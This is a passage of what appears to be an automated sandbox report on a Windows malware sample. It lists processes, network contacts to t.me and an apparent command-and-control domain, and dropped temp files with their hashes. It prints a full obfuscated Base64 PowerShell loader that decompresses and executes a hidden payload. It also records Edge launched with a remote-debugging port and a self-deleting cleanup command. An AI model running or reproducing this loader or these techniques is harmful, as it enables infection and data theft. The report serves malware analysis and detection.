C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JAB7ADAAeAAxAGEAMgBiADMAYwB9AD0AWwBTAHkAcwB0AGUAbQAuAFIAYQBuAGQAbwBtAF0AOgA6AG4AZQB3ACgAKQA7ACQAewAwAHgANABkADUAZQA2AGYAfQA9ACYAKABbAGMAaABhAHIAWwBdAF0AKAA3ADEALAAxADAAMQAsADEAMQA2ACwANAA1ACwANgA4ACwAOQA3ACwAMQAxADYALAAxADAAMQApAC0AagBvAGkAbgAnACcAKQA6ADoAbgBlAHcAKAApADsAJAB7ADAAeAA3AGcAOABoADkAaQB9AD0AJABuAHUAbABsADsAJAB7ADAAeABqADAAawAxAGwAMgB9AD0AQAAoACkAOwAkAHsAMAB4AG0AMwBuADQAbwA1AH0APQAoAFsAYwBoAGEAcgBbAF0AXQAoADEAMQAxACwAOQA4ACwAOQA5ACwAOQA3ACwAMQAxADYALAAxADAANQAsADEAMQAxACwAMQAxADAAKQAtAGoAbwBpAG4AJwAnACkAOwAkAHsAMAB4AHAANgBxADcAcgA4AH0APQAxAC4ALgAxADAAfAAmACgAWwBjAGgAYQByAFsAXQBdACgANwAwACwAMQAxADEALAAxADEANAAsADYAOQAsADkANwAsADkAOQAsADEAMAA0ACwANAA1ACwANwA5ACwAOQA4ACwAMQAwADYALAAxADAAMQAsADkAOQAsADEAMQA2ACkALQBqAG8AaQBuACcAJwApAHsAJAB7ADAAeAAxAGEAMgBiADMAYwB9AC4ATgBlAHgAdAAoACkAfQA7ACQAewAwAHgAcwA5AHQAMAB1ADEAfQA9ACYAKABbAGMAaABhAHIAWwBdAF0AKAA3ADEALAAxADAAMQAsADEAMQA2ACwANAA1ACwAOAAwACwAMQAxADQALAAxADEAMQAsADkAOQAsADEAMAAxACwAMQAxADUALAAxADEANQApAC0AagBvAGkAbgAnACcAKQB8ACYAKABbAGMAaABhAHIAWwBdAF0AKAA4ADMALAAxADAAMQAsADEAMAA4ACwAMQAwADEALAA5ADkALAAxADEANgAsADQANQAsADcAOQAsADkAOAAsADEAMAA2ACwAMQAwADEALAA5ADkALAAxADEANgApAC0AagBvAGkAbgAnACcAKQAtAEYAaQByAHMAdAAgADMAOwAkAHsAMAB4AHYAMgB3ADMAeAA0AH0APQBbAFMAeQBzAHQAZQBtAC4ARwBDAF0AOgA6AEcAZQB0AFQAbwB0AGEAbABNAGUAbQBvAHIAeQAoACQAZgBhAGwAcwBlACkAOwAkAHsAMAB4AHkANQB6ADYAYQA3AH0APQAoAFsAYwBoAGEAcgBbAF0AXQAoADEAMAA5ACwAMQAxADEALAAxADEANAAsADEAMAAxACwAMQAwADYALAAxADEANwAsADEAMQAwACwAMQAwADcAKQAtAGoAbwBpAG4AJwAnACkAOwAkAHsAMAB4AGIAOABjADkAZAAwAGUAMQB9AD0AQAB7AGYAYQBrAGUAPQAnAGQAYQB0AGEAJwA7AG0AbwByAGUAPQAnAHMAdAB1AGYAZgAnAH0AOwAkAGEAPQA0ADQAMAA0ADsAJABiAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADgAMgA5ADkALgB0AG0AcAAnADsASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAbgBFAHcALQBvAEIAagBFAEMAVAAgAHMAeQBzAHQARQBtAC4ASQBvAC4AQwBvAG0AUABSAEUAUwBzAEkATwBuAC4ARABFAGYAbABhAFQAZQBzAFQAUgBFAGEATQAoAFsAaQBPAC4AbQBlAE0ATwBSAHkAcwB0AFIARQBhAE0AXQBbAGMATwBuAHYARQByAHQAXQA6ADoAZgByAG8ATQBCAEEAUwBFADYANABzAHQAcgBpAG4ARwAoACcAcgBWAFgAZgBiADkAbwB3AEUASAA3AFAAWAArAEUAeABIAGgATABKAG8AQQB6AFEAZgBoAFIARgBLAGcAMwB0AFYAcQBuAFQATwBtAEIAYgBWADgAUwBEAFMAUQA0AFMAegBiAEUAagB4ADQARwB3AHcAdgA4ACsASgB6AEUAdABhAGIATwBwAFYAUABNAEQAdgBvAHQAOQA5ADkAMwBIAGQAeQBlAC8AUgBqADkAWABxADYAKwBMAFcAKwBxAHYAUAByAHcAegBtAG8AawBrAFEAawA3AEMAQwBKAEMARABQAG8ASgBzAEQAWQBrAEUAdwArAGYAbwB6AGsAQgBxAE4AYgAxAFUAQwBHAEIAUABMAGgAUgBuAFEARQBtAGMAZwBLACsAKwBtADUAVgA3AEwAZgBTAFEAMQBXAHAAUAB1AEMAUgAwAEQAQgA1AG4AZgBtAEwAcwAwAEQAbwBJAEsAYQBpAEEAZgBYAEMATABTAHQAUwAxAEQARwBQAGcAKwA2ADMASgBKAGwAYgBSACsAZQA4AFEARgBpAEUATABaAGMAZwBaAE8AbQAwAFkAYQBSAEsAeQBKAFIAcAB2AEUAZwBsAFIALwA5AEIAcABqADEASQBtAEYAVQByADcAawBrAGsAUQBQAEIANgBEAFcASQBVAGUASgBIADAAagBUAHUAYwAwADkASgBCAEgAUwBaAEsAZwBtADUASwBNAEsAaQBHAFIASwBBADIAWgBSAEEAUABIAHoAbQB6AGIANwB1AEMAegAzAE8AagBaAE4AbgBiAEwATAArAC8AeABzAEQAQQA2AE4AagA0AHYAagBEAGQAMgB2AHcAaQBlAEQAaQBtADkAagBHAEkAdQBwAE4AbgA0AEIAWQBJAEIANwBYAFkAYQAxAGsAdwBSAGwAUQBvAEgATQBvAFgAUABrAEMAcgBqAFcAZwByADAASgBRAFoAMgBMAGIAZwBxAEoARABFAEwAdQBBAHoAUABPAGEAZABvAGcAdwB2AHYAdAAzAFYARQB5AGkATABRAHAAVAB5AEIAVAA0AFQANQBGAEUAeQBOAGsAVgBuAEgAMQAvAFUAOQBGAEQASQBsAGQARQBBAHAAOQA4ADYAegArADAAeABZAEcALwB2AHkAeQBvADIAVQAyAC8AegBvAFkAbgArAEkAVQBJAEsAbQAvAHgAawBpAEwAagBZADEAUwBQAE8ATgBoAE8AbgBzAEEAWQB1AG4AVwBwAG4AagA4AFQAUQByAGgAUwBqAEIAawA3AFcAOAB2AG0AbgByAGYAOABCAGQAMABEAFEASgBMAGwAVQBuAGkAZABUAEwARwA5AFEAbABYAGcARAAvAHcAbgB5AEIAVQBLADQAQQBOAFcAVQBqADkAZQBkAEoAbQBBAFQASwA4AGYAOAB1AGwAdgBiAEoAMwBwAGkAWABCADkANwBlADkAegBXACsAbgBnAGkATgBWADEAQQBaAGwAZAAwAFoANwA5AFgAdwByAFgASgBRADgAcQBXAGoAQQArAGUAdwBtAFEAZgBiAHMANgAyADcASABXADcAUAA4AFkATABRAEIASABDAHMAYwArAGMAcgBYAEoAaQBCADQANQBSAGgANwBWAHMAMQBqAFoAWQBBAG0AUwBwAE8AeABkAFgAKwA0ADgAUwBSADgANgBnAGIAQQAzAHcAUQBpADQAdgBLAEwATAA5ADkAQgBXAHcAcABBADIAeABuAFgAVABXAGMAVwB6AHYAcgBxAEUAMQA1AFAAYgB1AEsASABGAFcAUgA3AHcANABIAEoAcgBEADYAbABVAHAAMgA5ADQARQBGAGUAOQA1AFgAOABhACsAZQBOAEYARwBBAEkAMgB4AHEARABRAC8AcgA2AE4AbABGADgAMwBEAHIASwBKAEIAMQBBAFYASQB6AEcAVABtAE0ALwA1AGgAdABEAHIAQgArAE4AawBDAGUAdQBiADQAcABhAHoAawA4AE8ANgA4AFcAUwBqAG8AMQAzAFYAZwBWAHkAMQBZADQAVgBmADkAUQBqAEkAcABRADgAawBWAEMAMQBkADkAUwBaAEgAVgBmADcAWQB5AGQAMABUAGgARgByAFMAdgBDAGwAaQBsAFoAQQBuAEwASABBAFIARwB4ADAAZgBTAGQAcQBjAHYAWgBDAG8AUwBjAG4AWgB4AGMAQwBCADYAZABrAFEAVABlADkAcwBaAFMAcQBFAGYARQBOAFAAUAAzAFQASgAxAEwAOQBYAEsAaAAxAG8AaQBzAFUAWABOAHUAVwBjAGIAMABSAGwAMABlAG0AZABOAGMAbABHADUAbgAxAGkAUwA0ADYAVgB0AC8AQQBBAD0APQAnACkALABbAHMAeQBTAFQAZQBNAC4ASQBvAC4AQwBPAG0AUAByAGUAUwBzAGkATwBOAC4AYwBPAG0AcAByAGUAUwBTAGkATwBOAE0AbwBkAGUAXQA6ADoAZABFAEMAbwBtAHAAcgBlAFMAUwApAHwAJQB7AG4ARQB3AC0AbwBCAGoARQBDAFQAIABJAE8ALgBzAHQAUgBlAGEAbQByAGUAYQBkAEUAUgAoACQAXwAsAFsAUwBZAFMAVABlAG0ALgBUAGUAeAB0AC4AZQBuAGMAbwBEAGkATgBHAF0AOgA6AEEAcwBjAGkASQApAH0AfAAlAHsAJABfAC4AUgBlAGEARABUAE8AZQBOAGQAKAApAH0AKQAgAA==

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xf8,0xd4,0x7fff1ac1dcf8,0x7fff1ac1dd04,0x7fff1ac1dd10

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1984,i,7521223809750548829,14109549565389027451,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=1976 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1548,i,7521223809750548829,14109549565389027451,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2256 /prefetch:3

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2360,i,7521223809750548829,14109549565389027451,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2536 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3108,i,7521223809750548829,14109549565389027451,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3176 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3116,i,7521223809750548829,14109549565389027451,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3200 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4216,i,7521223809750548829,14109549565389027451,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4232 /prefetch:2

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4584,i,7521223809750548829,14109549565389027451,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4644 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5224,i,7521223809750548829,14109549565389027451,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5236 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5412,i,7521223809750548829,14109549565389027451,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5428 /prefetch:8

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\srk120sy\srk120sy.cmdline"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9759.tmp" "c:\Users\Admin\AppData\Local\Temp\srk120sy\CSC4675495100C4005AB42373D525A8B8A.TMP"

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x24c,0x7fff1b22f208,0x7fff1b22f214,0x7fff1b22f220

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1884,i,10922783306687028346,3727175597504534061,262144 --variations-seed-version --mojo-platform-channel-handle=2260 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2232,i,10922783306687028346,3727175597504534061,262144 --variations-seed-version --mojo-platform-channel-handle=2228 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2544,i,10922783306687028346,3727175597504534061,262144 --variations-seed-version --mojo-platform-channel-handle=2568 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3488,i,10922783306687028346,3727175597504534061,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3528,i,10922783306687028346,3727175597504534061,262144 --variations-seed-version --mojo-platform-channel-handle=3536 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\hvai5" & exit

C:\Windows\SysWOW64\timeout.exe

timeout /t 11

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
GB 2.18.27.89:443 www.bing.com tcp
US 8.8.8.8:53 zBQcHXNTpcRkOELIYzVyV.zBQcHXNTpcRkOELIYzVyV udp
US 8.8.8.8:53 t.me udp
NL 149.154.167.99:443 t.me tcp
US 8.8.8.8:53 xt.exifit.eu.org udp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
US 8.8.8.8:53 e6.c.lencr.org udp
US 104.18.20.213:80 e6.c.lencr.org tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
US 8.8.8.8:53 clients2.google.com udp
GB 216.58.212.238:443 clients2.google.com udp
N/A 224.0.0.251:5353 udp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
US 8.8.8.8:53 edge.microsoft.com udp
US 8.8.8.8:53 edge.microsoft.com udp
US 8.8.8.8:53 ntp.msn.com udp
US 8.8.8.8:53 ntp.msn.com udp
US 8.8.8.8:53 edge.microsoft.com udp
US 8.8.8.8:53 edge.microsoft.com udp
US 8.8.8.8:53 copilot.microsoft.com udp
US 8.8.8.8:53 copilot.microsoft.com udp
US 8.8.8.8:53 api.edgeoffer.microsoft.com udp
US 8.8.8.8:53 api.edgeoffer.microsoft.com udp
US 150.171.27.11:80 edge.microsoft.com tcp
US 150.171.27.11:443 edge.microsoft.com tcp
US 204.79.197.203:443 ntp.msn.com tcp
GB 2.18.27.92:443 copilot.microsoft.com tcp
US 13.107.246.64:443 api.edgeoffer.microsoft.com tcp
US 204.79.197.203:443 ntp.msn.com tcp
US 13.107.246.64:443 api.edgeoffer.microsoft.com tcp
GB 2.18.27.92:443 copilot.microsoft.com tcp
US 150.171.27.11:443 edge.microsoft.com tcp
US 8.8.8.8:53 assets.msn.com udp
US 8.8.8.8:53 assets.msn.com udp
GB 104.77.160.214:443 assets.msn.com tcp
GB 104.77.160.214:443 assets.msn.com tcp
GB 104.77.160.214:443 assets.msn.com udp
IE 13.74.129.1:443 tcp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 20.189.173.3:443 browser.events.data.msn.com tcp
GB 104.77.160.214:443 assets.msn.com udp
IE 13.74.129.1:443 c.msn.com tcp
GB 104.77.160.214:443 assets.msn.com udp
GB 2.19.252.154:443 img-s-msn-com.akamaized.net tcp
GB 2.19.252.154:443 tcp
GB 2.19.252.154:443 tcp
GB 2.19.252.154:443 tcp
US 8.8.8.8:53 edge.microsoft.com udp
US 8.8.8.8:53 edge.microsoft.com udp
US 150.171.28.11:443 edge.microsoft.com tcp
GB 2.19.252.154:443 tcp
GB 2.19.252.154:443 tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
GB 2.18.27.89:443 www.bing.com tcp
GB 2.18.27.82:443 www.bing.com tcp
GB 2.18.27.82:443 www.bing.com tcp
GB 2.18.27.82:443 www.bing.com tcp
GB 2.18.27.82:443 www.bing.com tcp
GB 2.18.27.89:443 www.bing.com tcp
US 204.79.197.203:443 ntp.msn.com tcp
GB 2.19.252.154:443 udp
US 204.79.197.203:443 ntp.msn.com tcp
GB 2.18.27.89:443 www.bing.com udp
US 204.79.197.203:443 ntp.msn.com tcp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 204.79.197.219:443 r.msftstatic.com tcp
US 204.79.197.203:443 ntp.msn.com udp
GB 2.18.27.89:443 www.bing.com tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
GB 2.18.27.89:443 www.bing.com tcp
US 204.79.197.219:443 r.msftstatic.com tcp
GB 2.18.27.89:443 www.bing.com tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 tcp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
N/A 216.58.212.195:443 tcp
N/A 192.178.223.105:443 tcp
N/A 216.58.201.106:443 tcp
N/A 192.178.223.105:443 tcp
N/A 192.178.223.105:443 tcp
US 8.8.8.8:53 udp
N/A 142.250.179.227:443 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
N/A 142.250.117.95:443 udp
N/A 216.58.213.14:443 udp
N/A 142.250.117.95:443 tcp
N/A 142.250.117.95:443 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
N/A 142.250.179.238:443 udp
N/A 142.250.179.238:443 tcp
N/A 142.250.179.238:443 udp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 tcp
DE 116.202.181.52:443 tcp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
GB 104.77.160.214:443 udp
GB 2.18.27.89:443 tcp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 150.171.27.10:443 tcp
GB 2.18.27.82:443 tcp
N/A 18.244.18.27:443 tcp
GB 2.19.252.154:443 tcp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
N/A 127.0.0.1:9223 tcp
N/A 127.0.0.1:9223 tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
DE 116.202.181.52:443 xt.exifit.eu.org tcp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.180.3:80 c.pki.goog tcp

Files

C:\Users\Admin\AppData\Local\Temp\Chemical.accdt.bat

MD5 e86ba37e74dfad17557c5e156c9432c5
SHA1 0b41fc22b3ddf5188568e45a41a1d8d36f43b1a8
SHA256 c3c9b64b198a83adf62d19980d2a16b5d2c5b4b3d564a457aa9f43dcb2b400cd
SHA512 0f358fdef6d1caf9b18dc0d721d86a7a4882af22ca9435428f30f39dc2f53e30c211b533fd139a4cc347a7b9a5e86e5a5fce19dd83b24237f4bce8130a9478f5

C:\Users\Admin\AppData\Local\Temp\Greg.accdt

MD5 e9112b18a77b6fc36eeacd49ddaa17de
SHA1 f74c5eb09c000032f1a776473ec4265b5bfb727e
SHA256 e0048a02d7af7d10ad338fc716c2bd795d68390492b8b6efc7f8f9d9ab4662ed
SHA512 9ea9f1365727777e11df53856eecefcec6acad6c541f2b31d81172994dda99f5482e8907848487c677b007c07ea648dd821697f78129cf2097ef2b746e2ae147

C:\Users\Admin\AppData\Local\Temp\Insurance

MD5 74bd1c4148631e1ed1a6db2b2ca9afc8
SHA1 4af73af903781c4be5e8533aa652ddb990f53a41
SHA256 01edc7e5b912222de49ef423044efc8075f6c2de30081ba06ed5e4e3b670028f
SHA512 8f391fa81a206ceacd2debc887f03b4c491f99c91d9c6940e30ef6014c8f4ea700adf755ce0263ea276c0e804554c33cb6bd42f999b5f19bcd22b0c4a42ba506

C:\Users\Admin\AppData\Local\Temp\Jimmy

MD5 485fb732995db1037c59c8fa3b22c557
SHA1 01a5b6079d0da4d5a2a7bde8b31bbe5619cc255f
SHA256 69f7a5292ab0c3b77f664664c27ce27b654569a3b8d8d4fb10ecd7a7badcb84a
SHA512 f53823d07f1bb4c8b0f1f9bf05160c8ce951ebf17f65eb140baf914b3f153f1ede3492775551a2164b2bc17206aee8d09550da5bc826bcc504033ecd1a27039e

C:\Users\Admin\AppData\Local\Temp\Fort

MD5 0f9de477eaaeedf2bf560855e4d9c41d
SHA1 f1a44aa93484daea0b66a059fea5a77b85160bf2
SHA256 e18035f64ad33f4e5c889e1d372dd637678f07c17048a2a66093d7db4f59c46f
SHA512 61fd92b37c82e372fa858429dd9fadd8ec485fc2835d8dca0db2193e373b06ee9f25733e36ff7ed7173afb8c6fe9441c52b2291c9049c1b87f9f07f8e2d83dd2

C:\Users\Admin\AppData\Local\Temp\Desire

MD5 fe2d27c6ffd65573414e8364d5efcf71
SHA1 46db162e660b5e892cc3eb30947e3e532ad79737
SHA256 e19bc81d94440bbcd3bd080c2b336eca1a5eb8e70030fe4a2913cb0376a3bd24
SHA512 1e1e22eb4ab382dd20bd545f483d370875e4b0873bca86a3c04c4c17e18f2646da1660b03a4d1ff8519a79317453e55b83976ca42af1744146dad87e80e7429e

C:\Users\Admin\AppData\Local\Temp\Genesis

MD5 66c9280669285ae91156617346f50dca
SHA1 4e57f37d8160197dd47ab9a68db0303ce8e8c73d
SHA256 0dde03e3cdfb18fc3c191a3382b33fb19895204e382bbb52096c6090cd4aef52
SHA512 e05115c3d450d129475015462f3da17a409a65ec93b6bc3535c0af4607dea1e7563b96e56e03116809edc8feeb02373afc25070f83695f03f22dd52af07926e8

C:\Users\Admin\AppData\Local\Temp\Rule.accdt

MD5 88bf313841c84c4baa65f75aa5ec18b4
SHA1 d833b019a2703f77cf657bd0b1829702900b2e31
SHA256 df04629f43bdb4520803e6851fa9012f16a7fbb9e3f07aa9cc01f11719d7bca1
SHA512 081af238d98ab21149f29f31eca5093c2008d3e06018f9627e80c3d6da00650c27f62c85f3bae1fb59a7f734c6ffe623ad56b78f9c14de94e88e76f9420317d7

C:\Users\Admin\AppData\Local\Temp\Logged.accdt

MD5 b88d6b64e0e7bb7a3dccd3a30d3a0d17
SHA1 fed7e297df3f396a39e41b7f5175254eec06327e
SHA256 645ad3763009649e2e2944bf783e893805a28c3b20111d73a4e4fef319faf8ba
SHA512 d87cfa60f456e0bf13cb798550baf3debc7836f88dac347e10f07a469e8daa2acc68ce8d92f9c6bab145e0be445772e925ab0a48982e5a1ab287f88973478740

C:\Users\Admin\AppData\Local\Temp\Animation.accdt

MD5 dad3545dad4b6dc60fb4c110daadaefe
SHA1 ab8c14e8ffdb673d84ee389da977f01c883c01b6
